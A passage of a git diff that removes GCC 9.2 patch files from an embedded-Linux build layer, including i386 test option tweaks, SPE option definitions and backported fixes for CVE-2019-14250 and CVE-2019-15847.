-index 23366d0909d..9810e3abb76 100644
---- a/gcc/testsuite/gcc.target/i386/pr55247.c
-+++ b/gcc/testsuite/gcc.target/i386/pr55247.c
-@@ -1,6 +1,6 @@
- /* { dg-do compile { target { ! ia32 } } } */
- /* { dg-require-effective-target maybe_x32 } */
--/* { dg-options "-O2 -mno-sse -mno-mmx -mx32 -maddress-mode=long" } */
-+/* { dg-options "-O2 -mno-sse -mno-mmx -mx32 -maddress-mode=long -mfpmath=387" } */
-
- typedef unsigned int uint32_t;
- typedef uint32_t Elf32_Word;
-diff --git a/gcc/testsuite/gcc.target/i386/pr59644.c b/gcc/testsuite/gcc.target/i386/pr59644.c
-index 96006b3e338..4287e4538bf 100644
---- a/gcc/testsuite/gcc.target/i386/pr59644.c
-+++ b/gcc/testsuite/gcc.target/i386/pr59644.c
-@@ -1,6 +1,6 @@
- /* PR target/59644 */
- /* { dg-do run { target lp64 } } */
--/* { dg-options "-O2 -ffreestanding -mno-sse -mpreferred-stack-boundary=3 -maccumulate-outgoing-args -mno-red-zone" } */
-+/* { dg-options "-O2 -ffreestanding -mno-sse -mpreferred-stack-boundary=3 -maccumulate-outgoing-args -mno-red-zone -mfpmath=387" } */
-
- /* This test uses __builtin_trap () instead of e.g. abort,
- because due to -mpreferred-stack-boundary=3 it should not call
-diff --git a/gcc/testsuite/gcc.target/i386/pr62120.c b/gcc/testsuite/gcc.target/i386/pr62120.c
-index bfb8c4703eb..ed04cf181f3 100644
---- a/gcc/testsuite/gcc.target/i386/pr62120.c
-+++ b/gcc/testsuite/gcc.target/i386/pr62120.c
-@@ -1,5 +1,5 @@
- /* { dg-do compile } */
--/* { dg-options "-mno-sse" } */
-+/* { dg-options "-mno-sse -mfpmath=387" } */
-
- void foo ()
- {
-diff --git a/gcc/testsuite/gcc.target/i386/pr70467-1.c b/gcc/testsuite/gcc.target/i386/pr70467-1.c
-index 4e112c88d07..bcfb396a68d 100644
---- a/gcc/testsuite/gcc.target/i386/pr70467-1.c
-+++ b/gcc/testsuite/gcc.target/i386/pr70467-1.c
-@@ -1,6 +1,6 @@
- /* PR rtl-optimization/70467 */
- /* { dg-do compile } */
--/* { dg-options "-O2 -mno-sse" } */
-+/* { dg-options "-O2 -mno-sse -mfpmath=387" } */
-
- void foo (unsigned long long *);
-
-diff --git a/gcc/testsuite/gcc.target/i386/warn-vect-op-1.c b/gcc/testsuite/gcc.target/i386/warn-vect-op-1.c
-index 6cda1534311..26e37f5b8ba 100644
---- a/gcc/testsuite/gcc.target/i386/warn-vect-op-1.c
-+++ b/gcc/testsuite/gcc.target/i386/warn-vect-op-1.c
-@@ -1,5 +1,5 @@
- /* { dg-do compile { target { ! ia32 } } } */
--/* { dg-options "-mno-sse -Wvector-operation-performance" } */
-+/* { dg-options "-mno-sse -Wvector-operation-performance -mfpmath=387" } */
- #define vector(elcount, type) \
- __attribute__((vector_size((elcount)*sizeof(type)))) type
-
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0036-Re-introduce-spe-commandline-options.patch b/meta/recipes-devtools/gcc/gcc-9.2/0036-Re-introduce-spe-commandline-options.patch
deleted file mode 100644
index 4dbcd98945..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/0036-Re-introduce-spe-commandline-options.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-From 71e99c2b58a9eb00cdd65a04aeb6fb78227e3297 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 6 Jun 2018 12:10:22 -0700
-Subject: [PATCH 36/36] Re-introduce spe commandline options
-
-This should ensure that we keep accepting
-spe options
-
-Upstream-Status: Inappropriate [SPE port is removed from rs600 port]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gcc/config/rs6000/rs6000.opt | 12 ++++++++++++
- 1 file changed, 12 insertions(+)
-
-diff --git a/gcc/config/rs6000/rs6000.opt b/gcc/config/rs6000/rs6000.opt
-index f4b5c91e11f..69869350fce 100644
---- a/gcc/config/rs6000/rs6000.opt
-+++ b/gcc/config/rs6000/rs6000.opt
-@@ -345,6 +345,18 @@ mdebug=
- Target RejectNegative Joined
- -mdebug= Enable debug output.
-
-+mspe
-+Target Var(rs6000_spe) Save
-+Generate SPE SIMD instructions on E500.
-+
-+mabi=spe
-+Target RejectNegative Var(rs6000_spe_abi) Save
-+Use the SPE ABI extensions.
-+
-+mabi=no-spe
-+Target RejectNegative Var(rs6000_spe_abi, 0)
-+Do not use the SPE ABI extensions.
-+
- mabi=altivec
- Target RejectNegative Var(rs6000_altivec_abi) Save
- Use the AltiVec ABI extensions.
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/CVE-2019-14250.patch b/meta/recipes-devtools/gcc/gcc-9.2/CVE-2019-14250.patch
deleted file mode 100644
index 65ea34558a..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/CVE-2019-14250.patch
+++ /dev/null
@@ -1,44 +0,0 @@
-From 517b211a3d78366ca8d5929f580e8ca72fd2c004 Mon Sep 17 00:00:00 2001
-From: rguenth <rguenth@138bc75d-0d04-0410-961f-82ee72b054a4>
-Date: Thu, 25 Jul 2019 10:46:54 +0000
-Subject: [PATCH] 2019-07-25 Richard Biener <rguenther@suse.de>
-
- PR lto/90924
- Backport from mainline
- 2019-07-12 Ren Kimura <rkx1209dev@gmail.com>
-
- * simple-object-elf.c (simple_object_elf_match): Check zero value
- shstrndx.
-
-
-git-svn-id: svn+ssh://gcc.gnu.org/svn/gcc/branches/gcc-9-branch@273793 138bc75d-0d04-0410-961f-82ee72b054a4
-
-Upstream-Status: Backport
-Affectes: < 9.2
-CVE: CVE-2019-14250
-Dropped changelog
-Signed-off-by: Armin Kuster <Akustre@mvista.com>
-
----
- libiberty/simple-object-elf.c | 8 ++++++++
- 2 files changed, 17 insertions(+)
-
-Index: gcc-9.2.0/libiberty/simple-object-elf.c
-===================================================================
---- gcc-9.2.0.orig/libiberty/simple-object-elf.c
-+++ gcc-9.2.0/libiberty/simple-object-elf.c
-@@ -557,6 +557,14 @@ simple_object_elf_match (unsigned char h
- return NULL;
- }
-
-+ if (eor->shstrndx == 0)
-+ {
-+ *errmsg = "invalid ELF shstrndx == 0";
-+ *err = 0;
-+ XDELETE (eor);
-+ return NULL;
-+ }
-+
- return (void *) eor;
- }
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/CVE-2019-15847_1.patch b/meta/recipes-devtools/gcc/gcc-9.2/CVE-2019-15847_1.patch
deleted file mode 100644
index 227fd47c95..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/CVE-2019-15847_1.patch
+++ /dev/null
@@ -1,521 +0,0 @@
-From 8c61566116d23063ff597271884f8e00d94ab1a1 Mon Sep 17 00:00:00 2001
-From: segher <segher@138bc75d-0d04-0410-961f-82ee72b054a4>
-Date: Fri, 30 Aug 2019 13:48:48 +0000
-Subject: [PATCH] Backport from trunk 2019-08-22 Segher Boessenkool
- <segher@kernel.crashing.org>
-
- * config/rs6000/altivec.md (unspec): Delete UNSPEC_DARN, UNSPEC_DARN_32,
- UNSPEC_DARN_RAW, UNSPEC_CMPRB, UNSPEC_CMPRB2, UNSPEC_CMPEQB; move to...
- * config/rs6000/rs6000.md (unspec): ... here.
- * config/rs6000/altivec.md (darn_32, darn_raw, darn, cmprb,
- *cmprb_internal, setb_signed, setb_unsigned, cmprb2, *cmprb2_internal,
- cmpeqb, *cmpeqb_internal): Delete, move to...
- * config/rs6000/rs6000.md (darn_32, darn_raw, darn, cmprb,
- *cmprb_internal, setb_signed, setb_unsigned, cmprb2, *cmprb2_internal,
- cmpeqb, *cmpeqb_internal): ... here.
-
-
-git-svn-id: svn+ssh://gcc.gnu.org/svn/gcc/branches/gcc-9-branch@275170 138bc75d-0d04-0410-961f-82ee72b054a4
-
-Upstream-Status: Backport
-CVE: CVE-2019-15847 p1
-Affects <= 9.2.0
-Dropped Changelog changes
-Signed-off-by: Armin Kuster <akuster@mvista.com>
-
----
- gcc/config/rs6000/altivec.md | 223 ----------------------------------
- gcc/config/rs6000/rs6000.md | 224 +++++++++++++++++++++++++++++++++++
- 3 files changed, 239 insertions(+), 223 deletions(-)
-
-Index: gcc-9.2.0/gcc/config/rs6000/altivec.md
-===================================================================
---- gcc-9.2.0.orig/gcc/config/rs6000/altivec.md
-+++ gcc-9.2.0/gcc/config/rs6000/altivec.md
-@@ -80,9 +80,6 @@
- UNSPEC_VUPKHPX
- UNSPEC_VUPKLPX
- UNSPEC_CONVERT_4F32_8I16
-- UNSPEC_DARN
-- UNSPEC_DARN_32
-- UNSPEC_DARN_RAW
- UNSPEC_DST
- UNSPEC_DSTT
- UNSPEC_DSTST
-@@ -161,9 +158,6 @@
- UNSPEC_BCDADD
- UNSPEC_BCDSUB
- UNSPEC_BCD_OVERFLOW
-- UNSPEC_CMPRB
-- UNSPEC_CMPRB2
-- UNSPEC_CMPEQB
- UNSPEC_VRLMI
- UNSPEC_VRLNM
- ])
-@@ -4101,223 +4095,6 @@
- "bcd<bcd_add_sub>. %0,%1,%2,%3"
- [(set_attr "type" "vecsimple")])
-
--(define_insn "darn_32"
-- [(set (match_operand:SI 0 "register_operand" "=r")
-- (unspec:SI [(const_int 0)] UNSPEC_DARN_32))]
-- "TARGET_P9_MISC"
-- "darn %0,0"
-- [(set_attr "type" "integer")])
--
--(define_insn "darn_raw"
-- [(set (match_operand:DI 0 "register_operand" "=r")
-- (unspec:DI [(const_int 0)] UNSPEC_DARN_RAW))]
-- "TARGET_P9_MISC && TARGET_64BIT"
-- "darn %0,2"
-- [(set_attr "type" "integer")])
--
--(define_insn "darn"
-- [(set (match_operand:DI 0 "register_operand" "=r")
-- (unspec:DI [(const_int 0)] UNSPEC_DARN))]
-- "TARGET_P9_MISC && TARGET_64BIT"
-- "darn %0,1"
-- [(set_attr "type" "integer")])
--
--;; Test byte within range.
--;;
--;; The bytes of operand 1 are organized as xx:xx:xx:vv, where xx
--;; represents a byte whose value is ignored in this context and
--;; vv, the least significant byte, holds the byte value that is to
--;; be tested for membership within the range specified by operand 2.
--;; The bytes of operand 2 are organized as xx:xx:hi:lo.
--;;
--;; Return in target register operand 0 a value of 1 if lo <= vv and
--;; vv <= hi. Otherwise, set register operand 0 to 0.
--;;
--;; Though the instructions to which this expansion maps operate on
--;; 64-bit registers, the current implementation only operates on
--;; SI-mode operands as the high-order bits provide no information
--;; that is not already available in the low-order bits. To avoid the
--;; costs of data widening operations, future enhancements might allow
--;; DI mode for operand 0 and/or might allow operand 1 to be QI mode.
--(define_expand "cmprb"
-- [(set (match_dup 3)
-- (unspec:CC [(match_operand:SI 1 "gpc_reg_operand" "r")
-- (match_operand:SI 2 "gpc_reg_operand" "r")]
-- UNSPEC_CMPRB))
-- (set (match_operand:SI 0 "gpc_reg_operand" "=r")
-- (if_then_else:SI (lt (match_dup 3)
-- (const_int 0))
-- (const_int -1)
-- (if_then_else (gt (match_dup 3)
-- (const_int 0))
-- (const_int 1)
-- (const_int 0))))]
-- "TARGET_P9_MISC"
--{
-- operands[3] = gen_reg_rtx (CCmode);
--})
--
--;; The bytes of operand 1 are organized as xx:xx:xx:vv, where xx
--;; represents a byte whose value is ignored in this context and
--;; vv, the least significant byte, holds the byte value that is to
--;; be tested for membership within the range specified by operand 2.
--;; The bytes of operand 2 are organized as xx:xx:hi:lo.
--;;
--;; Set bit 1 (the GT bit, 0x4) of CR register operand 0 to 1 if
--;; lo <= vv and vv <= hi. Otherwise, set the GT bit to 0. The other
--;; 3 bits of the target CR register are all set to 0.
--(define_insn "*cmprb_internal"
-- [(set (match_operand:CC 0 "cc_reg_operand" "=y")
-- (unspec:CC [(match_operand:SI 1 "gpc_reg_operand" "r")
-- (match_operand:SI 2 "gpc_reg_operand" "r")]
-- UNSPEC_CMPRB))]
-- "TARGET_P9_MISC"
-- "cmprb %0,0,%1,%2"
-- [(set_attr "type" "logical")])
--
--;; Set operand 0 register to -1 if the LT bit (0x8) of condition
--;; register operand 1 is on. Otherwise, set operand 0 register to 1
--;; if the GT bit (0x4) of condition register operand 1 is on.
--;; Otherwise, set operand 0 to 0. Note that the result stored into
--;; register operand 0 is non-zero iff either the LT or GT bits are on
--;; within condition register operand 1.
--(define_insn "setb_signed"
-- [(set (match_operand:SI 0 "gpc_reg_operand" "=r")
-- (if_then_else:SI (lt (match_operand:CC 1 "cc_reg_operand" "y")
-- (const_int 0))
-- (const_int -1)
-- (if_then_else (gt (match_dup 1)
-- (const_int 0))
-- (const_int 1)
-- (const_int 0))))]
-- "TARGET_P9_MISC"
-- "setb %0,%1"
-- [(set_attr "type" "logical")])
--
--(define_insn "setb_unsigned"
-- [(set (match_operand:SI 0 "gpc_reg_operand" "=r")
-- (if_then_else:SI (ltu (match_operand:CCUNS 1 "cc_reg_operand" "y")
-- (const_int 0))
-- (const_int -1)
-- (if_then_else (gtu (match_dup 1)
-- (const_int 0))
-- (const_int 1)
-- (const_int 0))))]
-- "TARGET_P9_MISC"
-- "setb %0,%1"
-- [(set_attr "type" "logical")])
--
--;; Test byte within two ranges.
--;;
--;; The bytes of operand 1 are organized as xx:xx:xx:vv, where xx
--;; represents a byte whose value is ignored in this context and
--;; vv, the least significant byte, holds the byte value that is to
--;; be tested for membership within the range specified by operand 2.
--;; The bytes of operand 2 are organized as hi_1:lo_1:hi_2:lo_2.
--;;
--;; Return in target register operand 0 a value of 1 if (lo_1 <= vv and
--;; vv <= hi_1) or if (lo_2 <= vv and vv <= hi_2). Otherwise, set register
--;; operand 0 to 0.
--;;
--;; Though the instructions to which this expansion maps operate on
--;; 64-bit registers, the current implementation only operates on
--;; SI-mode operands as the high-order bits provide no information
--;; that is not already available in the low-order bits. To avoid the
--;; costs of data widening operations, future enhancements might allow
--;; DI mode for operand 0 and/or might allow operand 1 to be QI mode.
--(define_expand "cmprb2"
-- [(set (match_dup 3)
-- (unspec:CC [(match_operand:SI 1 "gpc_reg_operand" "r")
-- (match_operand:SI 2 "gpc_reg_operand" "r")]
-- UNSPEC_CMPRB2))
-- (set (match_operand:SI 0 "gpc_reg_operand" "=r")
-- (if_then_else:SI (lt (match_dup 3)
-- (const_int 0))
-- (const_int -1)
-- (if_then_else (gt (match_dup 3)
-- (const_int 0))
-- (const_int 1)
-- (const_int 0))))]
-- "TARGET_P9_MISC"
--{
-- operands[3] = gen_reg_rtx (CCmode);
--})
--
--;; The bytes of operand 1 are organized as xx:xx:xx:vv, where xx
--;; represents a byte whose value is ignored in this context and
--;; vv, the least significant byte, holds the byte value that is to
--;; be tested for membership within the ranges specified by operand 2.
--;; The bytes of operand 2 are organized as hi_1:lo_1:hi_2:lo_2.
--;;
--;; Set bit 1 (the GT bit, 0x4) of CR register operand 0 to 1 if
--;; (lo_1 <= vv and vv <= hi_1) or if (lo_2 <= vv and vv <= hi_2).
--;; Otherwise, set the GT bit to 0. The other 3 bits of the target
--;; CR register are all set to 0.
--(define_insn "*cmprb2_internal"
-- [(set (match_operand:CC 0 "cc_reg_operand" "=y")
-- (unspec:CC [(match_operand:SI 1 "gpc_reg_operand" "r")
-- (match_operand:SI 2 "gpc_reg_operand" "r")]
-- UNSPEC_CMPRB2))]
-- "TARGET_P9_MISC"
-- "cmprb %0,1,%1,%2"
-- [(set_attr "type" "logical")])
--
--;; Test byte membership within set of 8 bytes.
--;;
--;; The bytes of operand 1 are organized as xx:xx:xx:vv, where xx
--;; represents a byte whose value is ignored in this context and
--;; vv, the least significant byte, holds the byte value that is to
--;; be tested for membership within the set specified by operand 2.
--;; The bytes of operand 2 are organized as e0:e1:e2:e3:e4:e5:e6:e7.
--;;
--;; Return in target register operand 0 a value of 1 if vv equals one
--;; of the values e0, e1, e2, e3, e4, e5, e6, or e7. Otherwise, set
--;; register operand 0 to 0. Note that the 8 byte values held within
--;; operand 2 need not be unique.
--;;
--;; Though the instructions to which this expansion maps operate on
--;; 64-bit registers, the current implementation requires that operands
--;; 0 and 1 have mode SI as the high-order bits provide no information
--;; that is not already available in the low-order bits. To avoid the
--;; costs of data widening operations, future enhancements might allow
--;; DI mode for operand 0 and/or might allow operand 1 to be QI mode.
--(define_expand "cmpeqb"
-- [(set (match_dup 3)
-- (unspec:CC [(match_operand:SI 1 "gpc_reg_operand" "r")
-- (match_operand:DI 2 "gpc_reg_operand" "r")]
-- UNSPEC_CMPEQB))
-- (set (match_operand:SI 0 "gpc_reg_operand" "=r")
-- (if_then_else:SI (lt (match_dup 3)
-- (const_int 0))
-- (const_int -1)
-- (if_then_else (gt (match_dup 3)
-- (const_int 0))
-- (const_int 1)
-- (const_int 0))))]
-- "TARGET_P9_MISC && TARGET_64BIT"
--{
-- operands[3] = gen_reg_rtx (CCmode);
--})
--
--;; The bytes of operand 1 are organized as xx:xx:xx:vv, where xx
--;; represents a byte whose value is ignored in this context and
--;; vv, the least significant byte, holds the byte value that is to
--;; be tested for membership within the set specified by operand 2.
--;; The bytes of operand 2 are organized as e0:e1:e2:e3:e4:e5:e6:e7.
--;;
--;; Set bit 1 (the GT bit, 0x4) of CR register operand 0 to 1 if vv
--;; equals one of the values e0, e1, e2, e3, e4, e5, e6, or e7. Otherwise,
--;; set the GT bit to zero. The other 3 bits of the target CR register
--;; are all set to 0.
--(define_insn "*cmpeqb_internal"
-- [(set (match_operand:CC 0 "cc_reg_operand" "=y")
-- (unspec:CC [(match_operand:SI 1 "gpc_reg_operand" "r")
-- (match_operand:DI 2 "gpc_reg_operand" "r")]
-- UNSPEC_CMPEQB))]
-- "TARGET_P9_MISC && TARGET_64BIT"
-- "cmpeqb %0,%1,%2"
-- [(set_attr "type" "logical")])
--
- (define_expand "bcd<bcd_add_sub>_<code>"
- [(parallel [(set (reg:CCFP CR6_REGNO)
- (compare:CCFP
-Index: gcc-9.2.0/gcc/config/rs6000/rs6000.md
-===================================================================
---- gcc-9.2.0.orig/gcc/config/rs6000/rs6000.md
-+++ gcc-9.2.0/gcc/config/rs6000/rs6000.md
-@@ -137,6 +137,12 @@
- UNSPEC_LSQ
- UNSPEC_FUSION_GPR
- UNSPEC_STACK_CHECK
-+ UNSPEC_DARN
-+ UNSPEC_DARN_32
-+ UNSPEC_DARN_RAW
-+ UNSPEC_CMPRB
-+ UNSPEC_CMPRB2
-+ UNSPEC_CMPEQB
- UNSPEC_ADD_ROUND_TO_ODD
- UNSPEC_SUB_ROUND_TO_ODD
- UNSPEC_MUL_ROUND_TO_ODD
-@@ -14322,7 +14328,225 @@
- "xscmpuqp %0,%1,%2"
- [(set_attr "type" "veccmp")
- (set_attr "size" "128")])
-+
-+;; Miscellaneous ISA 3.0 (power9) instructions
-+
-+(define_insn "darn_32"
-+ [(set (match_operand:SI 0 "register_operand" "=r")
-+ (unspec:SI [(const_int 0)] UNSPEC_DARN_32))]
-+ "TARGET_P9_MISC"
-+ "darn %0,0"
-+ [(set_attr "type" "integer")])
-+
-+(define_insn "darn_raw"
-+ [(set (match_operand:DI 0 "register_operand" "=r")
-+ (unspec:DI [(const_int 0)] UNSPEC_DARN_RAW))]
-+ "TARGET_P9_MISC && TARGET_64BIT"
-+ "darn %0,2"
-+ [(set_attr "type" "integer")])
-+
-+(define_insn "darn"
-+ [(set (match_operand:DI 0 "register_operand" "=r")
-+ (unspec:DI [(const_int 0)] UNSPEC_DARN))]
-+ "TARGET_P9_MISC && TARGET_64BIT"
-+ "darn %0,1"
-+ [(set_attr "type" "integer")])
-+
-+;; Test byte within range.
-+;;
-+;; The bytes of operand 1 are organized as xx:xx:xx:vv, where xx
-+;; represents a byte whose value is ignored in this context and
-+;; vv, the least significant byte, holds the byte value that is to
-+;; be tested for membership within the range specified by operand 2.
-+;; The bytes of operand 2 are organized as xx:xx:hi:lo.
-+;;
-+;; Return in target register operand 0 a value of 1 if lo <= vv and
-+;; vv <= hi. Otherwise, set register operand 0 to 0.
-+;;
-+;; Though the instructions to which this expansion maps operate on
-+;; 64-bit registers, the current implementation only operates on
-+;; SI-mode operands as the high-order bits provide no information
-+;; that is not already available in the low-order bits. To avoid the
-+;; costs of data widening operations, future enhancements might allow
-+;; DI mode for operand 0 and/or might allow operand 1 to be QI mode.
-+(define_expand "cmprb"
-+ [(set (match_dup 3)
-+ (unspec:CC [(match_operand:SI 1 "gpc_reg_operand" "r")
-+ (match_operand:SI 2 "gpc_reg_operand" "r")]
-+ UNSPEC_CMPRB))
-+ (set (match_operand:SI 0 "gpc_reg_operand" "=r")
-+ (if_then_else:SI (lt (match_dup 3)
-+ (const_int 0))
-+ (const_int -1)
-+ (if_then_else (gt (match_dup 3)
-+ (const_int 0))
-+ (const_int 1)
-+ (const_int 0))))]
-+ "TARGET_P9_MISC"
-+{
-+ operands[3] = gen_reg_rtx (CCmode);
-+})
-+
-+;; The bytes of operand 1 are organized as xx:xx:xx:vv, where xx
-+;; represents a byte whose value is ignored in this context and
-+;; vv, the least significant byte, holds the byte value that is to
-+;; be tested for membership within the range specified by operand 2.
-+;; The bytes of operand 2 are organized as xx:xx:hi:lo.
-+;;
-+;; Set bit 1 (the GT bit, 0x4) of CR register operand 0 to 1 if
-+;; lo <= vv and vv <= hi. Otherwise, set the GT bit to 0. The other
-+;; 3 bits of the target CR register are all set to 0.
-+(define_insn "*cmprb_internal"
-+ [(set (match_operand:CC 0 "cc_reg_operand" "=y")
-+ (unspec:CC [(match_operand:SI 1 "gpc_reg_operand" "r")
-+ (match_operand:SI 2 "gpc_reg_operand" "r")]
-+ UNSPEC_CMPRB))]
-+ "TARGET_P9_MISC"
-+ "cmprb %0,0,%1,%2"
-+ [(set_attr "type" "logical")])
-+
-+;; Set operand 0 register to -1 if the LT bit (0x8) of condition
-+;; register operand 1 is on. Otherwise, set operand 0 register to 1
-+;; if the GT bit (0x4) of condition register operand 1 is on.
-+;; Otherwise, set operand 0 to 0. Note that the result stored into
-+;; register operand 0 is non-zero iff either the LT or GT bits are on
-+;; within condition register operand 1.
-+(define_insn "setb_signed"
-+ [(set (match_operand:SI 0 "gpc_reg_operand" "=r")
-+ (if_then_else:SI (lt (match_operand:CC 1 "cc_reg_operand" "y")
-+ (const_int 0))
-+ (const_int -1)
-+ (if_then_else (gt (match_dup 1)
-+ (const_int 0))
-+ (const_int 1)
-+ (const_int 0))))]
-+ "TARGET_P9_MISC"
-+ "setb %0,%1"
-+ [(set_attr "type" "logical")])
-
-+(define_insn "setb_unsigned"
-+ [(set (match_operand:SI 0 "gpc_reg_operand" "=r")
-+ (if_then_else:SI (ltu (match_operand:CCUNS 1 "cc_reg_operand" "y")
-+ (const_int 0))
-+ (const_int -1)
-+ (if_then_else (gtu (match_dup 1)
-+ (const_int 0))
-+ (const_int 1)
-+ (const_int 0))))]
-+ "TARGET_P9_MISC"
-+ "setb %0,%1"
-+ [(set_attr "type" "logical")])
-+
-+;; Test byte within two ranges.
-+;;
-+;; The bytes of operand 1 are organized as xx:xx:xx:vv, where xx
-+;; represents a byte whose value is ignored in this context and
-+;; vv, the least significant byte, holds the byte value that is to
-+;; be tested for membership within the range specified by operand 2.
-+;; The bytes of operand 2 are organized as hi_1:lo_1:hi_2:lo_2.
-+;;
-+;; Return in target register operand 0 a value of 1 if (lo_1 <= vv and
-+;; vv <= hi_1) or if (lo_2 <= vv and vv <= hi_2). Otherwise, set register
-+;; operand 0 to 0.
-+;;
-+;; Though the instructions to which this expansion maps operate on
-+;; 64-bit registers, the current implementation only operates on
-+;; SI-mode operands as the high-order bits provide no information
-+;; that is not already available in the low-order bits. To avoid the
-+;; costs of data widening operations, future enhancements might allow
-+;; DI mode for operand 0 and/or might allow operand 1 to be QI mode.
-+(define_expand "cmprb2"
-+ [(set (match_dup 3)
-+ (unspec:CC [(match_operand:SI 1 "gpc_reg_operand" "r")
-+ (match_operand:SI 2 "gpc_reg_operand" "r")]
-+ UNSPEC_CMPRB2))
-+ (set (match_operand:SI 0 "gpc_reg_operand" "=r")
-+ (if_then_else:SI (lt (match_dup 3)
-+ (const_int 0))
-+ (const_int -1)
-+ (if_then_else (gt (match_dup 3)
-+ (const_int 0))
-+ (const_int 1)
-+ (const_int 0))))]
-+ "TARGET_P9_MISC"
-+{
-+ operands[3] = gen_reg_rtx (CCmode);
-+})
-+
-+;; The bytes of operand 1 are organized as xx:xx:xx:vv, where xx
-+;; represents a byte whose value is ignored in this context and
-+;; vv, the least significant byte, holds the byte value that is to
-+;; be tested for membership within the ranges specified by operand 2.
-+;; The bytes of operand 2 are organized as hi_1:lo_1:hi_2:lo_2.
-+;;
-+;; Set bit 1 (the GT bit, 0x4) of CR register operand 0 to 1 if
-+;; (lo_1 <= vv and vv <= hi_1) or if (lo_2 <= vv and vv <= hi_2).
-+;; Otherwise, set the GT bit to 0. The other 3 bits of the target
-+;; CR register are all set to 0.
-+(define_insn "*cmprb2_internal"
-+ [(set (match_operand:CC 0 "cc_reg_operand" "=y")
-+ (unspec:CC [(match_operand:SI 1 "gpc_reg_operand" "r")
-+ (match_operand:SI 2 "gpc_reg_operand" "r")]
-+ UNSPEC_CMPRB2))]
-+ "TARGET_P9_MISC"
-+ "cmprb %0,1,%1,%2"
-+ [(set_attr "type" "logical")])
-+
-+;; Test byte membership within set of 8 bytes.
-+;;
-+;; The bytes of operand 1 are organized as xx:xx:xx:vv, where xx
-+;; represents a byte whose value is ignored in this context and
-+;; vv, the least significant byte, holds the byte value that is to
-+;; be tested for membership within the set specified by operand 2.
-+;; The bytes of operand 2 are organized as e0:e1:e2:e3:e4:e5:e6:e7.
-+;;
-+;; Return in target register operand 0 a value of 1 if vv equals one
-+;; of the values e0, e1, e2, e3, e4, e5, e6, or e7. Otherwise, set
-+;; register operand 0 to 0. Note that the 8 byte values held within
-+;; operand 2 need not be unique.
-+;;
-+;; Though the instructions to which this expansion maps operate on
-+;; 64-bit registers, the current implementation requires that operands
-+;; 0 and 1 have mode SI as the high-order bits provide no information
-+;; that is not already available in the low-order bits. To avoid the
-+;; costs of data widening operations, future enhancements might allow
-+;; DI mode for operand 0 and/or might allow operand 1 to be QI mode.
-+(define_expand "cmpeqb"
-+ [(set (match_dup 3)
-+ (unspec:CC [(match_operand:SI 1 "gpc_reg_operand" "r")
-+ (match_operand:DI 2 "gpc_reg_operand" "r")]
-+ UNSPEC_CMPEQB))
-+ (set (match_operand:SI 0 "gpc_reg_operand" "=r")
-+ (if_then_else:SI (lt (match_dup 3)
-+ (const_int 0))
-+ (const_int -1)
-+ (if_then_else (gt (match_dup 3)
-+ (const_int 0))
-+ (const_int 1)
-+ (const_int 0))))]
-+ "TARGET_P9_MISC && TARGET_64BIT"
-+{
-+ operands[3] = gen_reg_rtx (CCmode);
-+})
-+
-+;; The bytes of operand 1 are organized as xx:xx:xx:vv, where xx
-+;; represents a byte whose value is ignored in this context and
-+;; vv, the least significant byte, holds the byte value that is to
-+;; be tested for membership within the set specified by operand 2.
-+;; The bytes of operand 2 are organized as e0:e1:e2:e3:e4:e5:e6:e7.
-+;;
-+;; Set bit 1 (the GT bit, 0x4) of CR register operand 0 to 1 if vv
-+;; equals one of the values e0, e1, e2, e3, e4, e5, e6, or e7. Otherwise,
-+;; set the GT bit to zero. The other 3 bits of the target CR register
-+;; are all set to 0.
-+(define_insn "*cmpeqb_internal"
-+ [(set (match_operand:CC 0 "cc_reg_operand" "=y")
-+ (unspec:CC [(match_operand:SI 1 "gpc_reg_operand" "r")
-+ (match_operand:DI 2 "gpc_reg_operand" "r")]
-+ UNSPEC_CMPEQB))]
-+ "TARGET_P9_MISC && TARGET_64BIT"
-+ "cmpeqb %0,%1,%2"
-+ [(set_attr "type" "logical")])
-
-
- (include "sync.md")
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/CVE-2019-15847_2.patch b/meta/recipes-devtools/gcc/gcc-9.2/CVE-2019-15847_2.patch
deleted file mode 100644
index de7a83c23f..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/CVE-2019-15847_2.patch
+++ /dev/null
@@ -1,77 +0,0 @@
-From 87bc784a7ca3a43182f7272241597a50d7491342 Mon Sep 17 00:00:00 2001
-From: segher <segher@138bc75d-0d04-0410-961f-82ee72b054a4>
-Date: Fri, 30 Aug 2019 13:51:26 +0000
-Subject: [PATCH] Backport from trunk 2019-08-22 Segher Boessenkool
- <segher@kernel.crashing.org>
-
- PR target/91481
- * config/rs6000/rs6000.md (unspec): Delete UNSPEC_DARN, UNSPEC_DARN_32,
- and UNSPEC_DARN_RAW.
- (unspecv): New enumerator values UNSPECV_DARN, UNSPECV_DARN_32, and
- UNSPECV_DARN_RAW.
- (darn_32): Use an unspec_volatile, and UNSPECV_DARN_32.
- (darn_raw): Use an unspec_volatile, and UNSPECV_DARN_RAW.
- (darn): Use an unspec_volatile, and UNSPECV_DARN.
-
-
-git-svn-id: svn+ssh://gcc.gnu.org/svn/gcc/branches/gcc-9-branch@275175 138bc75d-0d04-0410-961f-82ee72b054a4
-
-Upstream-Status: Backport
-CVE: CVE-2019-15847 p2
-Affects <= 9.2.0
-Dropped Changelog changes
-Signed-off-by: Armin Kuster <akuster@mvista.com>
-
----
- gcc/config/rs6000/rs6000.md | 12 ++++++------
- 2 files changed, 20 insertions(+), 6 deletions(-)
-
-Index: gcc-9.2.0/gcc/config/rs6000/rs6000.md
-===================================================================
---- gcc-9.2.0.orig/gcc/config/rs6000/rs6000.md
-+++ gcc-9.2.0/gcc/config/rs6000/rs6000.md
-@@ -137,9 +137,6 @@
- UNSPEC_LSQ
- UNSPEC_FUSION_GPR
- UNSPEC_STACK_CHECK
-- UNSPEC_DARN
-- UNSPEC_DARN_32
-- UNSPEC_DARN_RAW
- UNSPEC_CMPRB
- UNSPEC_CMPRB2
- UNSPEC_CMPEQB
-@@ -170,6 +167,9 @@
- UNSPECV_EH_RR ; eh_reg_restore
